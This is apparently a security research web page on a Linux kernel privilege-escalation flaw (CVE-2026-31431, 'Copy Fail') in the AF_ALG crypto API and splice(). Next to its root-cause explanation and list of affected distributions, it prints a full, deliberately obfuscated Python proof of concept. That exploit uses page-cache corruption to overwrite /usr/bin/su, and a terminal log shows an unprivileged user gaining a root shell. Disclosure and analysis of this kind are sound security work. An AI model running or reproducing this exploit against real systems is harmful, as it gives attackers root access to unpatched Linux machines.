Copy Fail — CVE-2026-31431

Copy Fail is a Linux kernel vulnerability in the AF_ALG crypto API (AEAD authencesn path) that allows a local unprivileged user to escalate privileges to root.

The issue stems from an in-place buffer handling flaw combined with splice() page-cache sharing, which causes kernel crypto operations to overwrite file-backed memory pages. By targeting privileged binaries (e.g., /usr/bin/su), an attacker can achieve reliable local privilege escalation (LPE).

  • CVSS v3.1: 9.8 (Critical)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Broadly affects kernels from ~2017 onward (depending on patch status)

Affected distributions

  • Ubuntu
  • Debian
  • RHEL / CentOS / Fedora
  • Amazon Linux
  • SUSE Linux Enterprise
  • Various container-optimized kernel builds

PoC || GTFO

A typical proof-of-concept performs the following steps:

  1. Creates an AF_ALG AEAD socket
  2. Selects the vulnerable authencesn crypto transformation
  3. Opens a privileged binary (e.g., /usr/bin/su)
  4. Uses splice() to map file-backed page cache pages into kernel crypto buffers
  5. Triggers in-place AEAD processing
  6. Causes kernel to overwrite shared page-cache memory
  7. Repeats controlled 4-byte writes to corrupt executable contents
  8. Executes modified binary → root shell
N/ABASH
kdev :: ~/copyfail » id
uid=1001(void) gid=1001(void) groups=1001(void)
 
kdev :: ~/copyfail » uname -a && cat /etc/issue
Linux kdev 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 GNU/Linux
Kali GNU/Linux Rolling \n \l
 
kdev :: ~/copyfail » python3 copy_fail.py          
# id
uid=0(root) gid=1001(void) groups=1001(void)
N/APYTHON
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

ℹ Note — The python script is heavily minified and obfuscated. Variable names, control flow, and structure have been compressed. An expanded, more transparent version can be found here.


Root Cause

A design flaw in AF_ALG’s AEAD implementation where:

  • input and output buffers may share underlying page-cache pages
  • splice() allows zero-copy page reuse across subsystems
  • in-place crypto operations overwrite shared memory without proper isolation

This leads to a cross-subsystem memory aliasing condition.


References

Disclaimer

All content published on exploit.se is intended strictly for educational and informational purposes. Research is conducted responsibly under coordinated disclosure principles.

Techniques, tools, and writeups shared on this site are meant to advance the security community's understanding of vulnerabilities and defences. They are not intended to encourage or enable unauthorised access to any system.

The author bears no responsibility for any misuse of information presented here.

Cookie Settings

This site does not use cookies, analytics, or any third-party tracking technologies.

No personal data is collected. No fingerprinting. No ads. You are not the product.


 ██╗ ██████╗ ███████╗██╗███████╗███╗   ██╗██████╗
 ██║██╔═══██╗██╔════╝██║██╔════╝████╗  ██║██╔══██╗
 ██║██║   ██║█████╗  ██║█████╗  ██╔██╗ ██║██║  ██║
 ██║██║   ██║██╔══╝  ██║██╔══╝  ██║╚██╗██║██║  ██║
 ██║╚██████╔╝██║     ██║███████╗██║ ╚████║██████╔╝
 ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝
You found me.
↑↑↓↓←→←→ B A  ·  click to close